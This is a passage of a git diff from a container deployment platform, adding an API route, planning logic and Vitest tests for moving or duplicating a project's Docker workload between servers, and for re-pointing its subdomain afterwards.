m), + ); } await repos.dockerMigrationRun .transition(run.id, "rolled_back", { diff --git a/apps/api/src/modules/migration/migration.routes.ts b/apps/api/src/modules/migration/migration.routes.ts index 8fd5d58f3..4b96cda4b 100644 --- a/apps/api/src/modules/migration/migration.routes.ts +++ b/apps/api/src/modules/migration/migration.routes.ts @@ -35,6 +35,11 @@ r.post("/repo-compose", { tag: "server:read", readOnly: true, collection: true } r.post("/preview", { tag: "server:write", collection: true }, migration.previewMigration); // Start a full migration (adopt → move → deploy → verify → await cutover). r.post("/migrate", { tag: "server:write", collection: true }, migration.startMigration); + +// Project move (door B): relocate a project this instance already owns. `server:write` +// like the rest of this module — the handler additionally asserts `project:write`, because +// neither permission implies the other when a run mutates a workload on two machines. +r.post("/project", { tag: "server:write", collection: true }, migration.startProjectMove); // Migration run status, live progress, and the opt-in destructive cutover. r.get("/migrations/:id", { tag: "server:read", collection: true }, migration.getMigration); r.get("/migrations/:id/stream", { tag: "server:read", collection: true }, migration.streamMigration); @@ -47,7 +52,9 @@ r.post("/migrations/:id/resume", { tag: "server:write", collection: true }, migr r.post("/migrations/:id/cleanup-target", { tag: "server:write", collection: true }, migration.cleanupTargetData); // Delete a terminal run's record (history cleanup; project + data untouched). r.delete("/migrations/:id", { tag: "server:write", collection: true }, migration.deleteMigration); -// The in-flight run for a server, so a reloaded client can re-attach. +// The in-flight run for a server, so a reloaded client can re-attach. A PROJECT's live run is +// not here — it rides on the project payload (`readActiveMigration`), which is what every +// surface that renders a project already reads. See the handler. r.get("/active", { tag: "server:read", collection: true }, migration.getActiveMigration); // Recent runs for a server (the "Migrations" tab list, like project deployments). r.get("/runs", { tag: "server:read", collection: true }, migration.getMigrationRuns); diff --git a/apps/api/src/modules/migration/project-move-scope.test.ts b/apps/api/src/modules/migration/project-move-scope.test.ts new file mode 100644 index 000000000..f83ac55e1 --- /dev/null +++ b/apps/api/src/modules/migration/project-move-scope.test.ts @@ -0,0 +1,90 @@ +import { describe, expect, it } from "vitest"; +import { readFileSync } from "node:fs"; + +/** + * The scan a project move performs is PRE-SET to the project's own containers. + * + * What this pins is an ordering and a scope, both of which read as harmless if reversed and cost + * the operator real time when they are. The version this replaced ran a full + * `discoverServerStack` and filtered by label afterwards: on a 20-container box that is + * "Inspecting 20 container(s)…" to keep 5, plus compose-file reads and per-image env lookups + * across every unrelated stack on the host — and for a duplicate it happened twice, because + * `adoptServerStack` scanned again. + * + * Source-level because the alternative is a Docker daemon. The scan's own narrowing logic is + * exercised by `docker-inspect` behaviour; what matters here is that this caller uses it, and + * that the label set — not the scan option — remains the ownership check. + */ +const move = readFileSync(new URL("./project-move.ts", import.meta.url), "utf8"); +const inspect = readFileSync(new URL("./docker-inspect.service.ts", import.meta.url), "utf8"); +const orchestrator = readFileSync( + new URL("./migration.orchestrator.ts", import.meta.url), + "utf8", +); + +describe("the workload is resolved from the label set, then scanned", () => { + it("asks which containers are ours BEFORE scanning", () => { + expect(move.indexOf("listProjectContainerIds")).toBeLessThan( + move.indexOf("discoverServerStack("), + ); + }); + + it("hands that list to the scan as its scope", () => { + expect(move).toContain("onlyContainerIds: ourContainerIds"); + }); + + it("does not scan at all when nothing of ours is running", () => { + // The refusal is already decided one call earlier, so a full scan on the way to it is the + // worst trade available: longest wait, guaranteed failure. + const guard = move.slice(move.indexOf("if (ourContainerIds.length === 0)")); + expect(guard.slice(0, 400)).toContain("return planProjectMove("); + }); + + it("still filters by the label set after the scan — the scope is not the ownership check", () => { + // If `onlyContainerIds` ever widened (a bug, or a caller passing undefined), nothing + // foreign may reach the workload. `planProjectMove` is what guarantees that. + expect(move).toContain("ourContainerIds,"); + expect(move).toContain("planProjectMove({"); + }); +}); + +describe("the scan honours the scope where it is cheap to honour", () => { + it("narrows the container list before the ownership split and the inspect fan-out", () => { + const listing = inspect.indexOf("const containers = scoped"); + expect(listing).toBeGreaterThan(-1); + // Before the split (`isOpenshipOwned`) and therefore before `inspectContainer`. + expect(listing).toBeLessThan(inspect.indexOf("const isOpenshipOwned")); + }); + + it("treats an EMPTY selection as no candidates, not as 'everything'", () => { + // `length > 0 ? Set : null` is the tempting version and turns "these zero containers" into + // a full-host scan. + expect(inspect).toContain("Array.isArray(only) ? new Set(only.filter(Boolean)) : null"); + }); + + it("says what it narrowed to, so a small number doesn't read as a broken scan", () => { + expect(inspect).toContain("of ${allContainers.length} container(s) (this project's)"); + }); + + it("skips the whole-box manifest prune when scoped", () => { + expect(inspect).toContain("if (!scoped) {"); + }); +}); + +describe("a duplicate no longer scans the server a second time", () => { + it("clones the project's records instead of re-adopting its containers", () => { + const copyBranch = orchestrator.slice( + orchestrator.indexOf("if (copying) {"), + orchestrator.indexOf("return {", orchestrator.indexOf("if (copying) {")), + ); + expect(copyBranch).toContain("cloneProjectToServer({"); + // `adoptServerStack` calls `discoverServerStack` internally — that second scan is the thing + // being removed here, not just a style preference. + expect(copyBranch).not.toContain("adoptServerStack("); + }); + + it("leaves the SCAN door using adoptServerStack, untouched", () => { + // Door A must keep working exactly as before; this change is additive to it. + expect(orchestrator).toContain("const adopt = await adoptServerStack({"); + }); +}); diff --git a/apps/api/src/modules/migration/project-move.test.ts b/apps/api/src/modules/migration/project-move.test.ts new file mode 100644 index 000000000..6d34df733 --- /dev/null +++ b/apps/api/src/modules/migration/project-move.test.ts @@ -0,0 +1,269 @@ +import { describe, expect, it } from "vitest"; + +import { assertProjectMovable, planProjectMove, ProjectMoveRefused } from "./project-move"; +import type { DiscoveredService } from "./docker-reconcile"; + +/** + * The refusal matrix, and the three fields whose wrong value is destructive: + * `created` (rollback deletes what adopt created), `renames` (a wrong name orphans a + * row from its container), and `handover` (a missing entry makes the target try to pull + * an image that exists on no registry). + */ + +const svc = (over: Partial = {}): DiscoveredService => + ({ + name: "web", + source: "compose", + containerId: "c_web", + running: true, + image: "openship/web:abc123", + ports: [], + env: {}, + volumes: [], + networks: [], + dependsOn: [], + ...over, + }) as DiscoveredService; + +const project = { id: "p1", name: "clincai", slug: "clincai", serverId: "srv_a" }; + +const plan = (over: Partial[0]> = {}) => + planProjectMove({ + project, + targetServerId: "srv_b", + discovered: [svc()], + ourContainerIds: ["c_web"], + ...over, + }); + +describe("planProjectMove refusals", () => { + it("refuses the control plane", () => { + // Openship would be stopping the API running the migration. + expect(() => plan({ isControlPlane: true })).toThrow(/control plane/i); + expect(() => plan({ isControlPlane: true })).toThrow(ProjectMoveRefused); + }); + + it("refuses a cloud project, naming Cloud", () => { + expect(() => + plan({ project: { ...project, cloudWorkspaceId: "ws_1", serverId: null } }), + ).toThrow(/Openship Cloud/); + }); + + it("refuses a project bound to no server", () => { + expect(() => plan({ project: { ...project, serverId: null } })).toThrow(/isn't bound to a server/); + }); + + it("refuses a move onto the server it already runs on", () => { + // Nothing to transfer, and the pipeline's same-server path means something else + // entirely (attach-in-place), which is not what this door offers. + expect(() => plan({ targetServerId: "srv_a" })).toThrow(/already runs on that server/); + }); + + it("refuses when no live container carries the project's label", () => { + expect(() => plan({ ourContainerIds: [] })).toThrow(/No running containers/); + }); + + it("refuses a service that builds from source with no image", () => { + expect(() => + plan({ discovered: [svc({ build: ".", image: undefined })] }), + ).toThrow(/no published image: web/); + }); + + it("carries the offending names into the build-from-source message", () => { + // The operator has to know WHICH service to fix. + expect(() => + plan({ + discovered: [ + svc({ name: "web", containerId: "c_web", build: ".", image: undefined }), + svc({ name: "api", containerId: "c_api", build: ".", image: undefined }), + ], + ourContainerIds: ["c_web", "c_api"], + }), + ).toThrow(/web, api/); + }); + + it("exposes a code for every refusal", () => { + const codes = [ + [() => plan({ isControlPlane: true }), "control_plane"], + [() => plan({ project: { ...project, serverId: null } }), "not_server_hosted"], + [() => plan({ targetServerId: "srv_a" }), "same_server"], + [() => plan({ ourContainerIds: [] }), "nothing_running"], + [() => plan({ discovered: [svc({ build: ".", image: undefined })] }), "builds_from_source"], + ] as const; + for (const [fn, code] of codes) { + try { + fn(); + throw new Error(`expected a refusal for ${code}`); + } catch (err) { + expect((err as ProjectMoveRefused).code).toBe(code); + } + } + }); +}); + +describe("planProjectMove workload", () => { + it("selects by container identity, never by name", () => { + // The flat-docker pool is the WHOLE host: a neighbouring stack's `postgres` sits in + // it. Matching on name is how a migration walks off with someone else's database. + const out = plan({ + discovered: [ + svc({ name: "postgres", containerId: "c_ours" }), + svc({ name: "postgres", containerId: "c_theirs" }), + ], + ourContainerIds: ["c_ours"], + }); + expect(out.chosen.map((s) => s.containerId)).toEqual(["c_ours"]); + }); + + it("ignores a discovered service with no container id", () => { + // Declared-but-not-running: there is nothing to stop, copy, or cut over. + const out = plan({ + discovered: [svc(), svc({ name: "worker", containerId: undefined })], + ourContainerIds: ["c_web"], + }); + expect(out.chosen.map((s) => s.name)).toEqual(["web"]); + }); + + it("never reports the project as created", () => { + // The orchestrator tears down `createdProjectId` on rollback. True here deletes the + // operator's real project on any failure. + expect(plan().adopt.created).toBe(false); + }); + + it("uses the project's own id and slug rather than minting one", () => { + expect(plan().adopt).toMatchObject({ projectId: "p1", slug: "clincai" }); + }); + + it("renames nothing", () => { + // Rows already carry their final names. A rename map here would decouple a row from + // the container id keyed against it. + expect(plan().adopt.renames).toEqual({}); + }); + + it("hands over the running image for every moved service", () => { + // Our images are OUR builds: the tag exists on the source host and in no registry, + // so without a handover the target deploy tries to pull it and fails. + const out = plan({ + discovered: [ + svc({ name: "web", containerId: "c_web", image: "openship/web:abc" }), + svc({ name: "db", containerId: "c_db", image: "postgres:16" }), + ], + ourContainerIds: ["c_web", "c_db"], + }); + expect(out.adopt.handover).toEqual({ web: "openship/web:abc", db: "postgres:16" }); + }); + + it("omits a service with no image from the handover", () => { + const out = plan({ discovered: [svc({ image: undefined })], ourContainerIds: ["c_web"] }); + expect(out.adopt.handover).toEqual({}); + }); + + it("reports the project's current server as the source", () => { + expect(plan().sourceServerId).toBe("srv_a"); + }); + + it("lists the adopted names for the run log", () => { + expect(plan().adopt.adopted).toEqual(["web"]); + }); +}); + +/** + * SERVICE-level scope. Copy only — and the asymmetry is the data model, not an omission: + * `project.serverId` is a single durable binding, so a project cannot have containers on + * two hosts. + */ +describe("planProjectMove service scope", () => { + const twoSvc = { + discovered: [ + svc({ name: "web", containerId: "c_web" }), + svc({ name: "db", containerId: "c_db", image: "postgres:16" }), + ], + ourContainerIds: ["c_web", "c_db"], + }; + + it("copies just the named service", () => { + const out = plan({ ...twoSvc, intent: "copy", serviceNames: ["db"] }); + expect(out.chosen.map((s) => s.name)).toEqual(["db"]); + expect(out.adopt.handover).toEqual({ db: "postgres:16" }); + }); + + it("refuses a scoped MOVE and points at the copy", () => { + // Splitting a project across two servers has no representation. + expect(() => plan({ ...twoSvc, intent: "move", serviceNames: ["db"] })).toThrow( + /bound to one server/, + ); + try { + plan({ ...twoSvc, intent: "move", serviceNames: ["db"] }); + } catch (err) { + expect((err as ProjectMoveRefused).code).toBe("scoped_move"); + } + }); + + it("takes every service when the scope is absent or empty", () => { + expect(plan({ ...twoSvc, intent: "copy" }).chosen).toHaveLength(2); + expect(plan({ ...twoSvc, intent: "copy", serviceNames: [] }).chosen).toHaveLength(2); + }); + + it("names a service it couldn't find rather than copying a partial set", () => { + // Silently copying only what matched would hand back a "successful" duplicate that is + // quietly missing a service. + expect(() => + plan({ ...twoSvc, intent: "copy", serviceNames: ["db", "worker"] }), + ).toThrow(/No running container for: worker/); + }); + + it("scopes INSIDE the project's own containers, never the whole host", () => { + // The flat pool holds a neighbour's `db`. Scoping by name before the ownership filter + // would copy their database. + const out = plan({ + discovered: [ + svc({ name: "db", containerId: "c_ours" }), + svc({ name: "db", containerId: "c_theirs" }), + ], + ourContainerIds: ["c_ours"], + intent: "copy", + serviceNames: ["db"], + }); + expect(out.chosen.map((s) => s.containerId)).toEqual(["c_ours"]); + }); +}); + +/** + * Refusals are the main thing this flow SAYS to an operator, so the wording is part of the + * contract — and the same-server one had a specific failure of it. + * + * `"clincai" already runs on that server.` reached a user as `API 400: Bad Request` (the client + * read `err.message` instead of the body), and once shown, "that server" confirmed whatever they + * already believed. After a migration that rolled back, where the project lives is exactly the + * thing their mental model has wrong. + */ +describe("the same-server refusal names the server", () => { + const onSame = (sourceServerName?: string | null) => { + try { + assertProjectMovable({ project, targetServerId: "srv_a", sourceServerName }); + return null; + } catch (err) { + return err as ProjectMoveRefused; + } + }; + + it("states where the project actually is", () => { + const err = onSame("Server 1"); + expect(err?.message).toContain("Server 1"); + expect(err?.message).not.toContain("that server"); + }); + + it("tells the operator what to do next", () => { + expect(onSame("Server 1")?.message).toContain("Pick a different destination"); + }); + + it("still refuses, with the generic wording, when the name is unavailable", () => { + // A server row we couldn't read must not turn a clear refusal into a crash. + expect(onSame(null)?.code).toBe("same_server"); + expect(onSame(undefined)?.message).toContain("already runs on that server"); + }); + + it("keeps the machine-readable code, which the client branches on", () => { + expect(onSame("Server 1")?.code).toBe("same_server"); + }); +}); diff --git a/apps/api/src/modules/migration/project-move.ts b/apps/api/src/modules/migration/project-move.ts new file mode 100644 index 000000000..651f7e0bc --- /dev/null +++ b/apps/api/src/modules/migration/project-move.ts @@ -0,0 +1,379 @@ +/** + * The migration's SECOND door: move a project Openship already owns onto another + * server, instead of adopting a stranger's containers into a new one. + * + * The first door starts from a scan. It discovers containers, asks the operator which + * ones to take, and `adoptServerStack` mints (or reuses) a project around them. The last + * thing it does before moving anything is `excludeAlreadyManaged`, which REFUSES any + * container this instance already manages — because adopting one would "mint a duplicate + * project over live containers". + * + * Our containers are managed by definition. Feeding a project through that door therefore + * excludes every service and fails with "None of the selected services were found." That + * gate is not a bug to route around: it is the correct answer to a question we are not + * asking. So this module answers a different one — "which live containers ARE this + * project's, on the server it currently runs on?" — and hands back the exact shape the + * rest of the pipeline already consumes, so `moveData`, the target deploy, verification, + * the cutover gate, rollback and resume are shared code, not copied code. + * + * WHY THE WORKLOAD IS READ FROM THE HOST, NOT FROM `service.containerId`: that column + * rotates on every redeploy, and for a compose service it can hold a sentinel rather than + * an id (`!containerId` reads as "compose"). The `openship.project=` label is stamped + * at container create time and is authoritative for the host it was read from — which is + * the same reason project teardown reclaims orphans by label rather than by row. + * + * The refusals below all fire BEFORE anything is stopped or copied. A migration that + * discovers it cannot proceed after quiescing the source is a migration that took an + * outage for nothing. + */ + +import { deriveProjectDeployTarget } from "@repo/core"; +import { repos } from "@repo/db"; + +import { createServerDockerRuntime } from "../../lib/deployment-runtime"; +import { isControlPlaneProject } from "../../lib/controller-helpers"; +import { discoverServerStack } from "./docker-inspect.service"; +import type { AdoptResult } from "./migrate.service"; +import type { DiscoveredService } from "./docker-reconcile"; + +/** Why a project cannot be moved. The `code` is for callers; the message is shown. */ +export class ProjectMoveRefused extends Error { + constructor( + readonly code: + | "not_server_hosted" + | "same_server" + | "control_plane" + | "nothing_running" + | "builds_from_source" + | "scoped_move" + | "unknown_service", + message: string, + ) { + super(message); + this.name = "ProjectMoveRefused"; + } +} + +/** + * The project fields this decision needs — a subset, so tests need no full row. + * + * `cloudWorkspaceId` + `serverId` rather than a target string: the project table + * deliberately has NO `deployTarget` column, because the effective target is derived from + * exactly these two by `deriveProjectDeployTarget`, and that rule is meant to have one + * implementation. Taking the raw fields keeps this module a caller of that rule instead of + * a second copy of it. + */ +export interface MovableProject { + id: string; + name: string; + slug: string; + cloudWorkspaceId?: string | null; + serverId?: string | null; +} + +/** + * MOVE or DUPLICATE — the operator's two intents, and the only thing that separates them. + * + * move — the project itself relocates. One project, new host. Its rows, domains and + * history follow it, and the source containers are retired at cutover. + * copy — the project stays exactly where it is and a SECOND project appears on the + * target, holding a copy of the data. Two independent projects afterwards. + * + * They share every mechanical step (quiesce, stream the volumes, deploy, verify) and + * differ only in what exists at the end — which is why they are one pipeline with a flag, + * not two features. + */ +export type ProjectMoveIntent = "move" | "copy"; + +export interface ProjectMoveWorkload { + /** The server the project runs on today — the migration's source. */ + sourceServerId: string; + /** The project's live services, in the discovered shape the pipeline speaks. */ + chosen: DiscoveredService[]; + /** For a MOVE: stands in for `adoptServerStack`'s result — nothing was adopted, the + * project already exists, so this describes it rather than reporting a creation. + * For a COPY the caller discards this and adopts a new project instead. */ + adopt: AdoptResult; +} + +/** + * Decide the workload for a project move, or refuse. + * + * Pure: every input is already-fetched data, so the whole refusal matrix is testable + * without a database or a Docker daemon. The IO lives in the caller + * ({@link loadProjectMoveWorkload}). + * + * `discovered` is a FLAT-DOCKER scan of the source server. Flat mode is what makes this + * work at all: it "ignores the openship.* namespace", so the project's own managed + * containers appear as ordinary candidates with full inspection detail (image, imageId, + * volumes, ports, env) instead of being split off into the re-import set. `ourContainerIds` + * is then the label-scoped filter that says which of those candidates are ours. + */ +/** + * The refusals that need NO host round trip — decidable from the project row alone. + * + * Split out because of where the operator waits. Resolving the real workload means an SSH + * scan of the source, which takes seconds and can fail (an unreachable host, a rejected + * key). Doing that inside the request that starts a run means the operator stares at a + * frozen button and then gets a toast; doing it inside the RUN means they watch it happen + * in the session, with the reason in the run's own log, and can retry or resume from the + * runs list. + * + * So: everything answerable for free is answered here, before a run exists (a bad request + * stays a fast 400 and never takes the server-wide migration lock). Everything that needs + * the host is left to {@link planProjectMove}, running in the pipeline's `adopting` phase. + */ +export function assertProjectMovable(input: { + project: MovableProject; + targetServerId: string; + isControlPlane?: boolean; + intent?: ProjectMoveIntent; + serviceNames?: string[]; + /** Display name of the server the project currently runs on, so a refusal can name it. */ + sourceServerName?: string | null; +}): { sourceServerId: string } { + const { project, targetServerId } = input; + + if (input.isControlPlane) { + // Openship cannot migrate itself with itself: the run would stop the API executing + // it. Moving a control plane is `openship` CLI work on the box, not a wizard. + throw new ProjectMoveRefused( + "control_plane", + "This is the Openship control plane — it can't migrate itself. Move it with the Openship CLI on the server instead.", + ); + } + + // Cloud (either direction) and server-host "local" are deliberately later work: the + // transfer core moves data between two SSH-reachable Docker hosts, which is not what + // either of those is. + const target = deriveProjectDeployTarget(project); + if (target !== "server" || !project.serverId) { + throw new ProjectMoveRefused( + "not_server_hosted", + target === "cloud" + ? `"${project.name}" runs on Openship Cloud. Moving between Cloud and a server isn't supported yet.` + : `"${project.name}" isn't bound to a server, so there's no source host to move it from.`, + ); + } + + if (project.serverId === targetServerId) { + // NAMES the server. "already runs on that server" is true and unhelpful: after a migration + // that rolled back, the operator's mental model of where the project lives is exactly what + // is wrong, so the refusal has to state where it actually is rather than confirm a guess. + throw new ProjectMoveRefused( + "same_server", + input.sourceServerName + ? `"${project.name}" already runs on ${input.sourceServerName}. Pick a different destination.` + : `"${project.name}" already runs on that server.`, + ); + } + + if ((input.serviceNames ?? []).filter(Boolean).length > 0 && input.intent !== "copy") { + throw new ProjectMoveRefused( + "scoped_move", + `A project is bound to one server, so its services can't be split across two. Duplicate the service instead, or move "${project.name}" whole.`, + ); + } + + return { sourceServerId: project.serverId }; +} + +export function planProjectMove(input: { + project: MovableProject; + targetServerId: string; + /** A flat-docker scan of the source server. */ + discovered: DiscoveredService[]; + /** Container ids carrying `openship.project=` on the source host. */ + ourContainerIds: string[]; + /** True when this project IS the Openship control plane. */ + isControlPlane?: boolean; + /** What the operator is doing. Only a COPY may be scoped — see `serviceNames`. */ + intent?: ProjectMoveIntent; + /** + * Narrow the workload to these service names — a SERVICE-level duplicate ("copy just + * the database onto the new box") rather than the whole project. + * + * Copy only, and that asymmetry is the data model, not a missing feature: a project is + * bound to ONE server (`project.serverId`, the durable binding every deploy and live + * read resolves through). Moving a subset would leave one project with containers on two + * hosts and no way to say where it lives — so a scoped move is refused, and the operator + * is pointed at the copy they almost certainly meant. + * + * Absent/empty = every service. + */ + serviceNames?: string[]; +}): ProjectMoveWorkload { + const { project, discovered, ourContainerIds } = input; + const scope = (input.serviceNames ?? []).filter(Boolean); + + // The free checks, delegated rather than repeated: the run re-asserts them because it may + // start seconds after the request that passed them, and a project can be retargeted or + // deleted in between. + const { sourceServerId } = assertProjectMovable(input); + + // Identity, never name: a project's service name ("postgres", "web") is unique only + // within the project, and this pool is the WHOLE host in flat mode — every other stack + // on the box included. Matching by name here is how a migration adopts a neighbour's + // database. Same rule, same reason, as `selectDiscoveredServices`. + const ours = new Set(ourContainerIds.filter(Boolean)); + let chosen = discovered.filter((s) => s.containerId && ours.has(s.containerId)); + + // Narrowing happens AFTER the ownership filter, never instead of it: a name is only + // unique within the project, so scoping the whole-host pool by name first would select a + // neighbouring stack's same-named container. The label set is what makes the name safe. + if (scope.length > 0) { + const want = new Set(scope); + const scoped = chosen.filter((s) => want.has(s.name)); + const missing = scope.filter((n) => !chosen.some((s) => s.name === n)); + if (missing.length > 0) { + // Named a service that isn't running (or isn't this project's). Say which, rather + // than silently copying the subset that did match — that would hand back a + // "successful" duplicate quietly missing a service. + throw new ProjectMoveRefused( + "unknown_service", + `No running container for: ${missing.join(", ")}. Start the service, or leave it out of the copy.`, + ); + } + chosen = scoped; + } + + if (chosen.length === 0) { + // Either nothing is running, or the label is absent because these containers predate + // it. Both mean the same thing for us: there is no live workload to stream. A + // redeploy on the target reaches the same end state without a data move, so say that + // rather than starting a run that would move zero bytes and then "succeed". + throw new ProjectMoveRefused( + "nothing_running", + `No running containers were found for "${project.name}" on its current server. Start it, or deploy it to the new server directly — there's no data to move from a stopped project.`, + ); + } + + // Door A blocks these too. A service built from source with no image is not something + // the target can start: there is nothing to save-and-load and nothing to pull. + const unbuildable = chosen.filter((s) => Boolean(s.build) && !s.image); + if (unbuildable.length > 0) { + throw new ProjectMoveRefused( + "builds_from_source", + `Can't move services with no published image: ${unbuildable.map((s) => s.name).join(", ")}. Deploy the project once so an image exists, then move it.`, + ); + } + + return { + sourceServerId, + chosen, + adopt: { + projectId: project.id, + slug: project.slug, + // NEVER true. The orchestrator's rollback tears down the project it created; a + // truthy value here would delete the operator's real project on any failure. + created: false, + adopted: chosen.map((s) => s.name), + // Identity. The rows already carry their final names — there is no repo mapping + // step and nothing to de-duplicate, because we are not adding rows to a project. + renames: {}, + // Reuse the image that is running right now, for every moved service. Door A only + // needs this for native `build:` rows, because its other rows carry a registry + // image the target can pull. Ours are OUR builds: the tag exists on the source + // host and in no registry, so without a handover the target deploy would try to + // pull it and fail. `moveDataDirect` filters this set by `imageExistsLocally` and + // logs anything the target must pull instead, so listing a registry image here is + // harmless. + handover: Object.fromEntries( + chosen.filter((s) => s.image).map((s) => [s.name, s.image as string]), + ), + }, + }; +} + +/** + * {@link planProjectMove}'s IO shell: fetch the project, scan its source server, ask that + * host which containers are ours, then decide. + * + * The scan is FLAT-DOCKER on purpose — see `planProjectMove`. `onProgress` is threaded so + * the run's log carries the scan's own steps ("Inspecting 6 container(s)…"), which is the + * only visible activity during what can be a slow first SSH. + */ +export async function loadProjectMoveWorkload( + input: { + organizationId: string; + projectId: string; + targetServerId: string; + intent?: ProjectMoveIntent; + /** Service-level scope — copy only. See {@link planProjectMove}. */ + serviceNames?: string[]; + }, + onProgress?: (message: string) => void, +): Promise { + const project = await repos.project.findByIdInOrganization(input.projectId, input.organizationId); + if (!project) { + throw new ProjectMoveRefused("not_server_hosted", "That project no longer exists."); + } + + // Checked before the scan: the refusals that need no host round trip should not cost one. + // `planProjectMove` re-checks them (it is the single decision), this just fails faster. + if ( + deriveProjectDeployTarget(project) !== "server" || + !project.serverId || + isControlPlaneProject(project) + ) { + return planProjectMove({ + project, + targetServerId: input.targetServerId, + discovered: [], + ourContainerIds: [], + isControlPlane: isControlPlaneProject(project), + intent: input.intent, + serviceNames: input.serviceNames, + }); + } + + // OUR CONTAINERS FIRST, then a scan scoped to them — this order is the point. + // + // Reversed (scan the whole box, then filter by label) the operator waits through + // "Inspecting 20 container(s)…" so we can keep 5, and pays for compose-file reads and + // per-image env lookups across every unrelated stack on the host. The label query is one + // cheap call and it is the answer; the scan's job is only to turn those ids into the + // `DiscoveredService` shape the pipeline speaks. + const rt = await createServerDockerRuntime(project.serverId, input.organizationId); + let ourContainerIds: string[]; + try { + ourContainerIds = await rt.listProjectContainerIds(project.id); + } finally { + await rt.dispose().catch(() => {}); + } + + // Nothing of ours is running → don't scan at all. `planProjectMove` refuses on an empty + // workload anyway, and a full scan on the way to a guaranteed refusal is the one case where + // the operator waits longest for the least: the answer was already known one call ago. + if (ourContainerIds.length === 0) { + return planProjectMove({ + project, + targetServerId: input.targetServerId, + discovered: [], + ourContainerIds: [], + isControlPlane: false, + intent: input.intent, + serviceNames: input.serviceNames, + }); + } + + const stack = await discoverServerStack(project.serverId, input.organizationId, onProgress, { + // Without this the scan splits our own containers into the re-import set and the + // candidate pool comes back empty — see the module header. + flatDocker: true, + // The pre-set selection. A PERFORMANCE scope, not the ownership check: `planProjectMove` + // still filters by `ourContainerIds` below, so if this option ever widened, nothing + // foreign could reach the workload. + onlyContainerIds: ourContainerIds, + }); + + return planProjectMove({ + project, + targetServerId: input.targetServerId, + discovered: stack.services, + ourContainerIds, + isControlPlane: false, + intent: input.intent, + serviceNames: input.serviceNames, + }); +} diff --git a/apps/api/src/modules/migration/relocation-effects.test.ts b/apps/api/src/modules/migration/relocation-effects.test.ts new file mode 100644 index 000000000..316c9e483 --- /dev/null +++ b/apps/api/src/modules/migration/relocation-effects.test.ts @@ -0,0 +1,104 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; +import { readFileSync } from "node:fs"; + +const { syncProjectManagedEdge, findById } = vi.hoisted(() => ({ + syncProjectManagedEdge: vi.fn(), + findById: vi.fn(), +})); + +vi.mock("@repo/db", () => ({ repos: { project: { findById } } })); +vi.mock("../projects/project-runtime.service", () => ({ syncProjectManagedEdge })); + +import { applyRelocationEffects, projectRelocationEffects } from "./relocation-effects"; + +/** + * Moving the containers is the visible half of a migration. The other half is everything that + * RECORDED where the project used to live — and it was not handled at all: a moved project kept + * its free `.opsh.io` subdomain aimed at the SOURCE server, so the URL resolved to the old machine + * until an operator pressed "Retry routing" by hand. + * + * The cause is subtle and worth stating: `syncProjectManagedEdge` reads the server from the + * project's ACTIVE deployment. Run inside the target deploy — as it was — the target deployment is + * not active yet, so it faithfully re-pointed the subdomain at the server the project was leaving. + */ +const effects = () => + projectRelocationEffects({ projectId: "p1", organizationId: "org1", targetServerId: "srv_b" }); + +// Call counts are asserted below ("did not call the sync"), so they must not carry over. +beforeEach(() => { + syncProjectManagedEdge.mockReset(); + findById.mockReset(); +}); + +describe("the free-subdomain effect", () => { + it("re-points the mapping and says so", async () => { + findById.mockResolvedValue({ id: "p1" }); + syncProjectManagedEdge.mockResolvedValue({ ok: true, failures: [] }); + await expect(effects()[0]!.run()).resolves.toContain("re-pointed at the new server"); + }); + + it("reports a failure instead of throwing — the workload is already up", async () => { + // Failing the migration here would tear down a verified, serving stack over a record the + // dashboard's own "Retry routing" can repair. + findById.mockResolvedValue({ id: "p1" }); + syncProjectManagedEdge.mockResolvedValue({ ok: false, failures: ["edge unreachable"] }); + const detail = await effects()[0]!.run(); + expect(detail).toContain("still pointing at the old server"); + expect(detail).toContain("edge unreachable"); + }); + + it("does nothing when the project has vanished", async () => { + findById.mockResolvedValue(null); + await expect(effects()[0]!.run()).resolves.toBeUndefined(); + expect(syncProjectManagedEdge).not.toHaveBeenCalled(); + }); +}); + +describe("applyRelocationEffects", () => { + it("logs one line per effect, naming it", async () => { + const lines: string[] = []; + await applyRelocationEffects( + [{ name: "alpha", run: async () => "did a thing" }], + (m) => lines.push(m), + ); + expect(lines).toEqual(["alpha: did a thing"]); + }); + + it("distinguishes 'checked and clear' from silence", async () => { + const lines: string[] = []; + await applyRelocationEffects([{ name: "beta", run: async () => undefined }], (m) => lines.push(m)); + expect(lines[0]).toBe("beta: nothing to update"); + }); + + it("keeps going after one effect throws, and never rethrows", async () => { + // One unrepaired record must not stop the others from being repaired. + const lines: string[] = []; + await expect( + applyRelocationEffects( + [ + { name: "one", run: async () => { throw new Error("boom"); } }, + { name: "two", run: async () => "ok" }, + ], + (m) => lines.push(m), + ), + ).resolves.toBeUndefined(); + expect(lines[0]).toContain("one: not updated — boom"); + expect(lines[1]).toBe("two: ok"); + }); +}); + +describe("the orchestrator runs them at the right moment", () => { + const orch = readFileSync(new URL("./migration.orchestrator.ts", import.meta.url), "utf8"); + + it("after publishing routes, not during the deploy", () => { + // Several effects re-point things that only exist once the routes do — and the deploy is + // exactly where this used to run with the wrong (still-source) active deployment. + expect(orch.indexOf("await this.publishRoutes(")).toBeLessThan( + orch.indexOf("applyRelocationEffects("), + ); + }); + + it("only for a project move, and only cross-server", () => { + expect(orch).toContain("if (input.projectMove && !sameServer) {"); + }); +}); diff --git a/apps/api/src/modules/migration/relocation-effects.ts b/apps/api/src/modules/migration/relocation-effects.ts new file mode 100644 index 000000000..a579c3a68 --- /dev/null +++ b/apps/api/src/modules/migration/relocation-effects.ts @@ -0,0 +1,82 @@ +import { repos } from "@repo/db"; +import { safeErrorMessage } from "@repo/core"; + +import { syncProjectManagedEdge } from "../projects/project-runtime.service"; + +/** + * What else has to follow a project when its workload moves to another server. + * + * Moving the containers and their data is the visible half. The other half is everything that + * RECORDED where the project used to live and now points at a box it no longer runs on. Those + * were not handled at all: a migrated project kept its free `.opsh.io` subdomain aimed at the + * source server, so the URL resolved to the old machine until an operator noticed and pressed + * "Retry routing" by hand. + * + * A LIST, not a few more inline awaits, because this set only grows — linked apps, webhooks, DNS + * records, backup destinations, anything that stores a server id or an address. Each new one is an + * entry here, next to the others, run and logged the same way. Inline, the fourth would be written + * by whoever hit the fourth bug and the first three would not be findable from it. + * + * EVERY effect is best-effort by design. At the point these run the workload is already up and + * verified on the target; failing the migration because a follow-up didn't land would tear down a + * working stack over a record that can be repaired from the UI. So each one logs what it did or + * why it didn't, and the run continues. + */ +export interface RelocationEffect { + /** Short, stable label for the session log. */ + name: string; + /** + * Do the work. Return a detail string to log beside 